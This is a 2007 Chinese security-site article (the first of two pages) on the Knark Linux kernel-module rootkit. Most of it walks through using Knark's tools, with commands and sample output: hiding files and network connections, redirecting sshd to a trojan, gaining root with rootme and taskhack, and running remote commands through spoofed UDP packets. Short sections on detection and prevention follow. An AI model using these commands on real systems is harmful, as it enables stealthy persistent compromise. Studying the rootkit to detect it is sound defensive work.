新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 安全工具 > 正文:入侵工具Knark的分析及防范

入侵工具Knark的分析及防范

新客网 XKER.COM 2007-12-30 来源:新客网搜集整理 佚名 收藏本文

Knark软件包的安装和使用

该软件包的核心软件是knark,c,它是一个Linux LKM(loadable kernel-module)。运行命令"make"来编译knark软件包,通过"insmod knark"命令来加载该模块。当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:

author 作者自我介绍
files 系统中隐藏文件列表
nethides 在/proc/net/[tcp udp]隐藏的字符串
pids 被隐藏的pids列表,格式类似于ps命令输出
redirects 被重定向的可执行程序入口列表

该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o。除了taskhack.c,其用于直接修改/dev/kmem)

hidef 用于在系统中隐藏文件

在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录。

unhidef 用来恢复被隐藏的文件

你可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件。通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏。但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。

ered 用来配置重定向程序的执行

拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向。

nethide 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串

netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp udp]读取时进行"grep -v"操作。
你必需理解使用该程序从/proc/net/[tcp udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含:

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED


现在我们来检测文件/proc/net/tcp:

cat /proc/net/tcp

则输出可能包含入下内容:

local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000

若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此

./nethide "0100007F:0016"

将隐藏to/from localhost:22相关的链接信息。

./nethide ":ABCD "

来去除隐藏。

rootme 用来实现非特权用户获得root访问权限

./rootme /bin/sh
就可以实现以root身份运行/bin/sh。

./rootme /bin/ls -l /root
则是仅仅以root身份运行单个命令。

taskhack 用来改变某个运行着的进程的uid和gid

./taskhack -alluid=0 pid
该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0 (root).

ps aux   grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

现在来改变该进程的euid为0:

./taskhack -euid=0 91

ps aux   grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash

rexec 用来远程执行knark-server的命令:

./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER

这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER"


入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。

检测系统是否被安装了Knark

Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark隐藏的进程。

检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。

还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章:检测LKM rootkit。

Knark防范

防止knark最有效的方法是阻止入侵者获得root权限。但是在使用一切常规的方法进行安全防范以后,防止knark之类的基于LKM技术的rootkit的方法是:

*创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了。

*使用lcap (http://pweb.netcom.com/~spoon/lcap/)实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块。然而这种方法存在一定的问题,入侵者可以在获得root权限以后修改启动脚本,在lcap启动之前来加载knark模块从而逃避lcap的限制。

共2页: 上一页 [1] [2] 下一页
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐